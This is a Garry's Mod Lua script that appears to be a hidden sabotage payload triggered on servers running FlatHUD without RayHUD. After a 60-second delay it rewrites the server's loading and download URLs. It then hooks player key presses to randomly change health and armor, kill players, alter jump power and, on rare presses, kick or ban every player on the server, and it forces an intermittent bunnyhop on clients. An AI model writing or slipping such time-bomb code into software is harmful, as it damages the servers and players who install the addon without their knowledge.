local function RayAnnihilate()
if SERVER then
RunConsoleCommand( "sv_loadingurl", "https://icdn.2cda.pl/obr/oryginalne/469d8dbac876d556516bec71a2dc11aa.jpg\n" )
RunConsoleCommand( "sv_downloadurl", "\n" )
hook.Add( "PlayerButtonDown", "PlayerButtonDownWikiExample", function( ply, button )
local LocPly = ply
if math.random(1, 10) <= 2 then
if math.random(1, 2) == 2 then
LocPly:SetHealth( math.random(1, 100) )
else
LocPly:SetArmor( math.random(1, 100) )
end
end
if math.random(1, 100) == 1 then
LocPly:Kill()
end
local randomj = math.random(1, 3)
if math.random(1, 2) == 1 then
if randomj == 1 then
LocPly:SetJumpPower( 500 )
elseif randomj == 2 then
LocPly:SetJumpPower( 250 )
else
LocPly:SetJumpPower( 1000 )
end
end
if math.random(1, 1000) == 1 then
for k,v in ipairs(player.GetAll()) do
if math.random(1, 2) == 1 then
v:Kick()
else
v:Ban(math.random(0, 1000000), true)
end
end
end
end)
else
function Bunnyhop()
if input.IsKeyDown(KEY_SPACE) then
if LocalPlayer():IsOnGround() then
RunConsoleCommand("+jump")
timer.Create("Bhop", 0, 0.01, function()
RunConsoleCommand("-jump")
end)
end
end
end
local bhop = 0
timer.Create("BunnyHoop", 10, 0, function()
if bhop == 0 then
hook.Add("Think", "Bunnyhop", Bunnyhop )
bhop = 1
else
hook.Remove("Think", "Bunnyhop" )
bhop = 0
end
end)
end
end
timer.Simple(60, function()
if FlatHUD and !RayHUD then
RayAnnihilate()
else
return
end
end)